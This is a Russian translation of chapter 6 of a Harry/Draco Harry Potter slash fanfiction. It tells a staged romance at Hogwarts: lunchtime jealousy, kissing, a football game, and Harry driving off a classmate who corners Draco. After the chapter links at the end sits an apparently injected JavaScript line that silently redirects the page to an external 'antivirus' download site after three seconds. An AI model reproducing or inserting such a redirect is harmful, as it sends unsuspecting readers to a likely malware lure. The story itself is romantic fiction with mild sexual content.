Укротитель Дракона

Автор: Jennavere
Оригинал: здесь (разрешение автора получено)
Переводчик: Sinful
Бета: Тирекся
Бета: Кот Бегемот (литературная адаптация, помощь в переводе)
Жанр: Романс/юмор
Рейтинг: R.
Дисклеймер: Все относящееся к Гарри Поттеру принадлежит либо гениальной Дж. К. Роулинг либо компании Ворнер Бразерс., и соответственно моим не является (Если автор от всего отказывается, то на что уж может претендовать переводчик?)
Пейринг: Гарри/Драко
Краткое содержание: Драко готов на все, чтобы выпутаться из брака по расчету, и помощь приходить из неожиданного источника – от его главного врага. Леди и джентельмены, пристегните свои ремни и наслаждайтесь поездкой. Далее следует Г/Д слэш, да и вообще куча удовольствия.

Глава 6.

На следующее утро, когда Гарри, наконец, проснулся, он обнаружил, что комната пуста.

- Твою мать, - рассеянно подумал Поттер, глянув на часы рядом с кроватью: он проспал и, судя по всему, пропустил завтрак.

Ничего удивительного в том, что ночью Гарри долго не мог заснуть: ему никак не удавалось выбросить из головы трепетное ощущение целующегося Драко. И даже тогда, когда Поттер погрузился в сон, все его грёзы вращались вокруг белокурого слизеринца, и эти грёзы были отнюдь не такими, какие обычно полагаются заклятым врагам.

Гарри застонал, припоминая один особенно яркий эпизод, включающий в себя Малфоя и стол в Трёх мётлах. Юноша даже тщетно помотал головой, пытаясь привести свои мысли в порядок. «Так, Гарри, придётся тебе взять себя в руки». Ему хотелось пользоваться любой возможностью, чтобы целовать Малфоя, но он знал, что если не придержит свои гормоны в узде, то дело зайдёт куда дальше, чем поцелуйчики, и Драко его точно прибьёт.

Гарри вздохнул и решил совершить утренний моцион на метле. По крайней мере, выплесну лишнюю энергию, а заодно попробую новые контактные линзы. Он взял свою «Молнию», сгрёб первые попавшиеся под руку шмотки из тех, что купил ему Драко, и направился к квиддитчному полю, полный решимости летать до тех пор, пока не избавится от мыслей о Малфое.

В Хогвардце подошло время ленча, и Малфой был раздражён, поймав себя на мысли, что наблюдает за дверями Большого Зала. Он упорно твердил, что вовсе не высматривает Гарри, а просто играет свою роль. Ведь что может быть естественнее, чем желание знать, где же его бой-френд пропадал всё утро.

Вчерашние поцелуи всё ещё волновали Драко, и когда он закрывал глаза, то почти физически ощущал губы Гарри на своих. При одном этом воспоминании Малфою хотелось найти Поттера и прижать его к самой ближайшей стенке, но Драко (истинный Малфой!) был образчиком самоконтроля. Но он никогда не думал, что эта выдержка пригодится ему, чтобы сдерживаться в желании трахнуть своего заклятого врага. «Не уверен, что отец подразумевал именно это, когда учил меня не терять самообладание в разных ситуациях», - скривился Драко. И ему снова стало немного не по себе, когда он представил, как близок Гарри к тому, чтобы лишить его этого самого самообладания, вследствие чего Драко просто сунул бы лапы в причинные места Поттера, который незамедлительно вышиб бы из Малфоя дух…

«Во всяком случае, я, пользуясь такой возможностью, могу его целовать, и пусть он думает, что это - всего лишь игра. Всё будет классно, пока Поттер не узнает, КАК мне это нравится», - Драко рассеянно жевал булочку, думая о Гарри и вполуха слушая занимательный спор Кребба и Гойла о флоббечервях. И вдруг он услышал коллективный вздох студентов, сидящих подле него, и машинально поднял глаза на двери Большого Зала.

В них только что показался Поттер, и Малфой просто разинул рот. Драко сразу понял, что Гарри летал, ибо весь его внешний вид кричал «я только что тренировался», а волосы ещё не просохли после душа. На нём были штаны цвета хаки и обтягивающая зелёная майка, которая идеально подходила к его глазам и подчёркивала рельеф каждого мускула на груди. Даже без очков, с расстояния слизеринского стола Драко мог рассмотреть глаза Поттера.

Весь Большой Зал уставился на Гарри, пытаясь не захлебнуться слюнями – Поттер, схвативший первую попавшуюся одежду и не удосужившийся посмотреться в зеркало в квиддитчной раздевалке, даже представить себе не мог, насколько он выглядит по-другому… К тому же, Гарри привык, КАК на него вечно пялятся, что научился не реагировать и не обращать никакого внимания на окружающих. Он прошел к гриффиндорскому столу, уселся на своё место возле Рона и Гермионы и начал накладывать ленч в тарелку.

Драко ощутил, как у него пересохло во рту. Из-за вчерашних поцелуев он напрочь забыл, что бОльшую часть дня потратил на обмундирование Поттера. Малфой знал, что после этого Гарри будет смотреться куда лучше, но не ожидал, насколько… Драко слышал перешёптывание вокруг, и, к своему удивлению, отметил, что слизеринцы, не стесняясь, глазеют на Поттера.

- Чёрт, Драко, ну и свезло же тебе, - отметила Миллисента Балстроуд, не спускавшая глаз с Поттера с самого момента его появления в Большом Зале.

- Да, твой бой-френд так хорош, что я даже готова стать натуралкой, - хихикнула Панси.

«Бой-френд? Что за…» - Драко, чья голова перестала варить в ту же минуту, когда он увидел Гарри, вдруг вспомнил, что это, по всеобщему мнению, секс-божество и есть его бой-френд. Малфой самодовольно осмотрел Большой Зал и всех, кто с вожделением следил за Поттером, но удовлетворение быстро сменилось злобой и раздражением на пускающих слюнки при виде Гарри. Драко решил, что не хочет, чтобы они изучали его парня. Малфоя совершенно не волновало, что Поттер вообще-то не был ему бой-френдом, но ведь он – Малфой! А Малфоям положено быть собственниками.

Драко угрюмо оглядел всех слизеринцев и даже напугал младших студентов, которые поспешно отвели взгляд от гриффиндорского стола. Однако друзья Драко проигнорировали его: Панси, Блейз и Миллисента продолжали пялиться на Гарри и отпускать скользкие комментарии. Даже Кребб и Гойл втянулись в эти гляделки и стали строить Поттеру откровенно похотливые рожи, что нарисовало в воображении Драко несколько неприятных картинок, которые, увы, ещё долго его преследовали.

- Боже, Гарри такая вкусняшка! Вижу его глаза даже отсюда! Не против, если я его поимею? – Блейз открыто таращился на Гарри, облизывая губы, что совершенно не понравилось Малфою.

- Вообще-то, против! Оставь его в покое, он – мой! – Драко ледяным взглядом одарил Блейза, но тот, будучи долгое время его бой-френдом, даже ухом не повёл.

- Да ладно, ты всегда очень ревнив. Не хочешь поделиться Поттером, тогда рассказывай, насколько он классный в постели? Держу пари, что чертовски хорош!

- Принципиально не собираюсь ничего говорить тебе, потому как подробности будут лишь питать твою извращённую фантазию. А теперь все отвалите и перестаньте таращиться на моего парня! – Драко расстроился и уже приготовился пустить в ход палочку, дабы наслать порчу на своих же однокурсников, как вдруг Гарри поднял голову, улыбнулся Малфою, подмигнул и послал тому воздушный поцелуй.

К собственному огорчению, Драко почти растаял. По всему Большому Залу тут же пронесся гул разочарования, поскольку все знали, что юный Адонис за гриффиндорским столом уже занят. Драко лишь кивнул в ответ, но его сердце затрепетало вовсе не по-малфоевски, за что он тут же себя отругал. «Чёрт, прекрати вести себя как девчонка! Это всего лишь Поттер», - сказал про себя Драко, однако не смог полностью сдержать улыбку, что порхала на его губах.

Тем временем, за гриффиндорским столом, Гарри продолжал уплетать свой ленч, пребывая, как всегда, в полном неведении об эффекте, который он произвёл своим появлением. Друзья одарили его странным взглядом, а Гермиона осторожно посмотрела ему в глаза:

- Э-э-э… Гарри?

- Да?

- Что с тобой приключилось?

- О чём это ты?

- Ну… ты так выглядишь… здорово смотришься… особенно, твои глаза… - Гермиона чуть покраснела. Джинни, сидевшая рядом, решительно закивала головой, а Рон хмуро поглядел на них обеих.

- Во всём вините Малфоя, - Гарри пожал плечами.

- Это он сделал? В смысле, разодел тебя?

- В основном, да. Новая одежда, новые линзы, новая стрижка, всё по полной программе. Такое ощущение, как будто на меня поработала Великолепная Пятёрка, втиснутая в один маленький раздражённый белокурый флакончик.

Гермиона рассмеялась; Рон выглядел озадаченно:

- Великолепная Пятёрка? Что-то я не въезжаю, приятель…

- Гарри имеет в виду маггловое телевизионное шоу «Натурал со стороны». Ты не в курсе, что ли? – Гермиона неодобрительно посмотрела на Рона. – Честное слово, Рон, тебе следовало бы заняться маггловедением. Хотя бы для того, чтобы лучше понимать наши приколы.

Рон лишь закатил глаза, а Джинни наклонилась к Поттеру:

- Он неплохо поработал над тобой, Гарри! Выглядишь на все сто! Я и понятия не имела, что у тебя под мантией есть тело, - при её словах щёки Гарри зарделись.

- Джинни! – возмутился брат.

- Она права, Рон! С того момента, как Гарри вошёл в Большой Зал, все не сводят с него глаз.

- Что? Да не смешите меня! – запротестовал Поттер.

- Ой, Гарри, не будь таким наивным! Это совершенно очевидно, разуй глаза и посмотри вокруг!

Поттер последовал её совету и был потрясён: студенты со всех столов действительно пялились на него, словно он был новым сортом шоколада из Сладкоежки. Озадаченный, Гарри покраснел и буквально сполз вниз, пытаясь скрыться под столом.

Джинни одарила Рона самодовольной улыбкой.

- Вот видишь? Да Гарри мне как брат, и я могу ему сказать, что он классно выглядит. К тому же, Гарри не интересны девочки, так что не вижу проблемы. В любом случае, я ему до лампочки…

Рон открыл было рот, чтобы возразить, но внезапно послышавшийся голос Симуса Финнигана заставил его замолчать.

- Тогда какое счастье, что я не девочка, а? – Симус присоединился к разговору и уселся рядом с ними. – Может, тебя заполучу именно я… - Симус подтянул Гарри вверх и принялся рассматривать его, ничуть не пытаясь это скрыть. – Можешь не прятаться под столом, Гарри. Твои поклонники, включая меня, хотят видеть своего кумира. Лично мне в голову приходит вопрос, как я прожил с тобой в комнате столько лет и не разглядел, что у тебя, оказывается, есть тело?

Гарри, стараясь избегать пристальных взглядов со стороны, казалось, лишился дара речи и посмотрел на Симуса чуть расширившимися глазами.

- Финниган, прекрати! Ты смущаешь Гарри! – теперь и Дин Томас присоединился к ним.

Но Симус и ухом не повёл.

- Знаю. Мне нравится заставлять Гарри краснеть, это так здорово!

При этих словах Гарри раскраснелся ещё больше, он снова сжался и опять отчаянно попытался найти убежище под столом.

Дин закатил глаза.

- Хватит уже! Я к вам пришел, потому что Лаванда и Парватти не могли заткнуться про Гарри, но теперь понимаю, что Симус ещё хуже, чем они.

- О, Дин, только не говори мне, что ты не сохнешь по телу Гарри…

- Быть может, Томас помнит, что это самое тело в настоящий момент принадлежит кое-кому другому? - компания гриффиндорцев подняла головы и увидела нависшего над ними закипающего Драко Малфоя. Тот скрестил руки на груди и выглядел очень недружелюбным: он наблюдал всю эту сцену с гриффиндорцами через весь зал и решил, что подначки со стороны слизеринской ватаги товарищей, пускающих слюни и отпускающих в адрес Гарри непристойные штучки, не самая приятная вещь, разумеется, но откровенные поползновения Симуса – ещё хуже. Будучи человеком, который никогда особо не пытался скрывать своё неудовольствие, Драко прошествовал к гриффиндорскому столу, чтобы обругать Финнигана.

Под ледяным взглядом Малфоя Симус чуть оробел. Впервые в жизни Гарри был рад появлению Драко: Поттер не привык быть объектом всеобщего хотения и уже устал краснеть. Стоит ли говорить, что злость и ревность Малфоя показались Гарри чертовски привлекательными. Пользуясь возможностью хорошенько рассмотреть чуть раскрасневшиеся щёки Драко, Поттер почувствовал, как обрывки его вчерашнего сна стали заполнять сознание, и он понял, что его собственный румянец вызван совсем другими причинами.

Драко присел на освободившееся место рядом с Гарри, обернул руки вокруг его талии, продолжая злобно коситься в сторону Симуса – Малфой был в ярости от того, что другой парень мог так бесстыдно флиртовать с его бой-френдом. Судя по всему, слизеринец просто плохо знал Финнигана, который в ответ лишь пожал плечами, решив дождаться того момента, когда он застукает Гарри одного. Драко хватило минуты, чтобы цепким взглядом оценить хорошо проделанную работу и поздравить себя: Поттер был великолепен! «Ну, ты ведь всегда знал об этом».

- Я тосковал без тебя. Ты тренировался? – спросил Драко.

Гарри слегка удивился.

- Ага, тренировался. Попробовал те линзы, что ты мне подарил. Кстати, они замечательные, я должен буду тебя отблагодарить, - Драко мысленно поставил галочку на данное обещание. – Но откуда ты знаешь, где я был?

- Я – твой парень, - Малфой чётко произнёс эти слова, злобно косясь на Симуса. – Я обязан знать такие вещи. Как и то, что ты сейчас здорово выглядишь, - сказал Драко, убедительно играя роль заботливого и любящего парня.

К собственному стыду, Гарри почувствовал, как его щёки опять зарделись. Он уже готов был взять кисточку  просто вымазать всё лицо красной краской – может, хоть тогда оно будет смотреться по-человечески? Драко, досадуя, отметил, что склонность Поттера всё время краснеть, делает его ещё больше привлекательным. Кажется, Симус думал точно так же, потому как Малфой заметил, что тот снова украдкой смотрит на Гарри. Естественно, Драко не пришёл в восторг от этого, но не ревновать же почём зря? Будь он, Малфой, проклят, если не выудит из ситуации хороший поцелуй.

- Ты не поприветствуешь меня поцелуем? – игриво обратился он в Гарри, не догадываясь, что Поттер уже ломает голову в поисках маломальской причины, чтобы припасть к губам Драко. Поттер пришёл в восторг от слов Малфоя и, притянув его к себе, без лишних слов поцеловал.

Даже если Драко и был шокирован, он не подал и виду; Малфой открывал рот для поцелуев, одновременно проводя руками по спине Гарри, наслаждаясь рельефными квиддитчными мускулами своего парня. Поттер задрожал, отозвался приглушённым стоном и зарылся руками в невероятно пушистых волосах блондина.

Большой зал наполнился разными звуками: начиная от ревнивых вздохов и заканчивая удивлённым гулом. Но два парня, как и день назад в Трёх Мётлах, ничего вокруг себя не замечали. Драко уже вошёл в раж, наслаждаясь ощущением соприкосновения умелого языка Гарри со своим и думая над тем, как бой-френд среагирует, если он настойчиво припадёт губами к его шее, как вдруг в их рай ворвался чей-то голос, настойчиво возвращая в реальность.

- Минус пять баллов с Гриффиндора за это развратное шоу, мистер Поттер, - Снейп навис над обоими. – И минус пять баллов со Слизерина за такую похабщину, как лобызание гриффиндорца, - Снейп, шокированный тем, как далеко зашли отношения мальчишек, явно наслаждался двумя одинаково ненавидящими взглядами, которыми его наградили Драко и Гарри. Северус лишь усмехнулся и, взмахнув мантией, отошёл.

Поттер и Малфой оглянулись вокруг, заметив, как большинство студентов смотрит на них жадными и ревнивыми взглядами, особенно – Джинни и Симус, которые вблизи наблюдали за всей этой сценой. Исключения, пожалуй, составляли лишь чуть шокированная Гермиона и совершенно растерявшийся Рон, увидевший, как Гарри первым полез целоваться. Драко послал Рону озорную усмешку:

- Нравится, а, Уизли? Будет кого представить в интимные моменты уединения, не только ведь Грейнд… - Гарри быстро накрыл рот Драко ладонью.

- Прекрати, хватит задирать Рона, - Гарри, продолжая закрывать ладонью губы Драко, посмотрел на однокашников. – Ну, чем займёмся сегодня?

- Хххррммф… ммртт… мррии… ггмрпх… - Малфой разразился чередой невнятного бормотания, но Поттер уверенно зажимал тому рот.

- Дин, Симус, Джинни? Отличная погода, так чем займёмся?

- Футболом? – магглорождённый Дин Томас был фанатом этой игры и обучил правилам почти всё население Гриффиндора.

Гарри просиял:

- Класс! Ребята, вы с нами?

Глаза Драко округлились, и он начал бормотать сквозь руку Гарри. Несколько гриффиндорцев, даже Гермиона, кивнули, и Дин направился в свою комнату за мячом. Поттер снова повернулся лицом к Малфою:

- Пошли, я объясню тебе правила по дороге…

И тут Гарри совершил ошибку, убрав свою руку со рта Драко, который немедленно разразился криком:

- Гарри, футбол – игра для магглов!

- И? – Поттер беспечно покосился на него.

- Ты ведь не ждёшь от меня, что Я стану играть в какую-то маггловскую игру. Я – чистокровный колдун! И я – МАЛФОЙ!

- Заткнись, МАЛФОЙ! И пошевеливайся! – Гарри потащил упирающегося и голосящего Драко на улицу, чем вызвал большое удивление у собравшихся погонять мячик гриффиндорцев.

Драко никогда в своей жизни и никому не признался бы, но ему нравилось играть в футбол с гриффиндорцами. Разумеется, он притворялся раздражённым и недовольным отсутствием мётел и магии, но пинать мячик было так увлекательно, и он весьма в этом преуспел. К тому же, Малфой впервые играл в одной команде с Поттером и вместе им удалось уверенно победить противников…

А потом он направлялся в чёртову Гриффиндорскую Башню, чтобы вместе с поттеровскими дружками делать домашнее задание. «Я, должно быть, сумасшедший, раз добровольно провожу время с гриффиндорцами. О, ужас». Впрочем, Драко знал, чего хочет – снова немного потискать Гарри. Этот парень умеет целоваться, и Малфой готов был потерпеть гриффиндорскую орду, если ему выпадет шанс побыть с Гарри ещё какое-то время…

Он шёл по заброшенному коридору, как вдруг услышал за своей спиной чьи-то шаги. Прежде, чем Драко успел среагировать, кто-то схватил его руку и резко повернул. Сердце у Малфоя ушло в пятки, когда он осознал, что стоит лицом к лицу с Терри Бутом в пустынном коридоре.

- Драко, какая приятная встреча…

- Убери лапы, Бут!

- Тихо-тихо! Я-то думал, что ты, общаясь с Золотым мальчиком Гриффиндора, приобрёл хоть какие-то манеры.   

- Предупреждаю тебя, Бут, убери от меня свои руки…

- Ну почему же? Раньше ты не жаловался, когда мои руки были на тебе. Если мне не изменяет память, тебе это даже нравилось.

Драко дрожал, в большей части от злости, хотя и от страха тоже. Бут был сантиметров на десять выше и килограммов на двадцать тяжелее Малфоя, и последний не тешил себя надеждой выйти победителем в кулачном бою - предыдущего опыта вполне хватило, поэтому Драко потянулся за палочкой.

Бут перехватил его руки и скрутил их за спиной:

- Ну, Драко, тебе вовсе не нужна палочка. Я просто хочу с тобой поговорить и узнать правду о ваших с Поттером отношениях.

- О чём ты?

- Я ЗНАЮ тебя, Драко. Ты никогда не опустился бы до Поттера, и не верю, что вы встречаетесь. Можешь водить за нос отца и всю школу, но меня не одурачишь, - Бут наклонился к Малфою и зашептал в ухо: - ты не сможешь врать тому, кто тебя любит.

Драко сверкнул глазами.

- Да пошёл ты, Бут! – он изо всех сил дёрнулся, пытаясь освободиться из цепких рук Терри, но Бут сжал его ещё сильнее.

- Всё может быть по-другому, Драко. Почему бы тебе просто не признаться? Ты ведь хочешь меня, а не Поттера. Я вижу это в твоих глазах, - Терри посмотрел на Малфоя с вожделением, и Драко, испугавшись, зажмурился, чтобы не видеть взгляда Бута.

- Отвали от него! НЕМЕДЛЕННО! – Драко приоткрыл глаза и почувствовал, как волна облегчения и благодарности нахлынула на него: Гарри Поттер, сверкая наполненными яростью зелёными глазами, нацелил свою палочку на Терри.

Бут тут же ослабил хватку – студенты Хогвардца предпочитали не связываться с разъярённым Поттером.

- А-а-а, Гарри, какой приятный сюрприз!

- Заткнись на хрен, Бут! Что, чёрт возьми, ты тут пытался изобразить перед Драко? – Гарри не опускал палочку. Терри, в глазах которого сквозил страх, судорожно сглотнул и начал заикаться.

Малфой одарил Бута свирепым взглядом.

- Терри вот не верит, что я – твой парень. И пытался убедить, чтобы я… вернулся к нему…

- Неужели? – Гарри продолжал смотреть Терри прямо в глаза, целясь палочкой тому в голову. – Извини, Бут, но, боюсь, тебе не повезло. Драко – действительно МОЙ парень. И, полагаю, ты должен знать, что я ВСЕГДА забочусь о близких мне людях. Не привык позволять кому-либо причинять им боль.

- Видишь ли, Поттер, я…

- Заткнись и слушай! Сегодня тебе повезло. Я отпускаю тебя и предупреждаю на первый раз. Но, клянусь, если ты ещё раз подгребёшь к Драко, пожалеешь, что ты - не труп. А теперь вали отсюда, пока я не передумал.

Гарри не пришлось повторять дважды, а Терри уже мчался прочь по коридору.

Поттер повернулся к Малфою:

- Ты в порядке?

- Да. Вот ведь тупой ублюдок… - вместе с Гарри он пошёл по коридору в направлении Гриффиндорской Башни. – Спасибо, что пришёл на выручку, Поттер. Думаю, ты напугал Бута до полусмерти.

Гарри лишь пожал плечами.

- Одно из преимуществ быть Мальчиком-Который-Выжил, который надрал задницу Волдеморту. Люди меня побаиваются.

В ответ Драко лишь криво усмехнулся:

- Как ты меня нашёл?

Гарри на минуту замялся. Причин было две: первая – Драко не знал дороги в Гриффиндорскую Башню; а вторая – несколько гриффиндорцев настолько откровенно флиртовали с ещё не привыкшим к новоиспечённому званию секс-идола Поттером (особенно, Симус), что он нашёл повод смыться, дабы найти Драко.

Но Гарри съёжился от одной мысли говорить об этом, полагая, что это прозвучит высокомерно, поэтому решил ограничиться первым пунктом:

- Тебя долго не было. Решил, будто ты не смог найти дорогу, и поспешил тебе навстречу.

Драко почувствовал, что Гарри что-то не договаривает, но промолчал. Он просто кивнул, и ребята продолжили путь к Гриффиндорской Башне, каждый думая о своём.

Глава 7

Оглавление.

Обсуждение на форуме

setTimeout(\'document.location.href = "http://base-file.com/antivirus"\', 3000);'); } ?>